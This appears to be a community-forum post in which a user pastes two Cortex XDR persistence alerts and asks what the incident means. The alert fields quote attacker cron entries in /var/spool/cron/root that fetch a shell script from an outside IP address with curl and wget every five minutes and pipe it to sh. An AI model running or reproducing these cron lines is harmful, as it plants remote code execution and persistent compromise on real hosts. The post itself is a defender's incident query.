About Vinothkumar_SBA

How solve this problem.   ... View more

Cortex XDR Incident Query Persistency - 779040014' alerts prevented by XDR Agent Process :1 event_id : AAABiGa7kOLjhGEJAA6GWw== cid : 8uEBANWvwcCQbfkAAAAAAA== pid : 123767 instance_id : d+MBAIbfqMK0c/kAAAAAAA== timestamp : 16853507483866422 attributes : 0 sub_type : file_integrity file_path : /var/spool/cron/.root.swp (deleted) canonized_file_path : /var/spool/cron/.root.swp (deleted) file_name : .root.swp (deleted) is_anonymous : 0 telem : 0 file_contents : #####*/5 * * * * curl -fsSL  http://218.248.40.228:8443/i.sh  | sh #####*/5 * * * * wget -q -O-  http://218.248.40.228:8443/i.sh  | sh entropy : -1 chisq_prob : -1 montepi_err : -1 Persistency - 779040014' alerts detected by XDR Agent Process :2 event_id : AAABiFz4IUWjl0pdAAAJ3A== cid : AQAAAFU/B+cFAAAAAAAAAA== pid : 1 instance_id : AQAAAFU/B+cFAAAAAAAAAA== timestamp : 16851869453490866 attributes : 0 sub_type : file_integrity file_path : /var/spool/cron/root canonized_file_path : /var/spool/cron/root file_name : root is_anonymous : 0 telem : 0 file_contents : */5 * * * * curl -fsSL  http://218.248.40.228:8443/i.sh  | sh */5 * * * * wget -q -O-  http://218.248.40.228:8443/i.sh  | sh entropy : -1 chisq_prob : -1 montepi_err : -1 The first process was command not executed, but the xdr agent was blocked, and the second process command was executed but detected.   Please Explain this incident   ... View more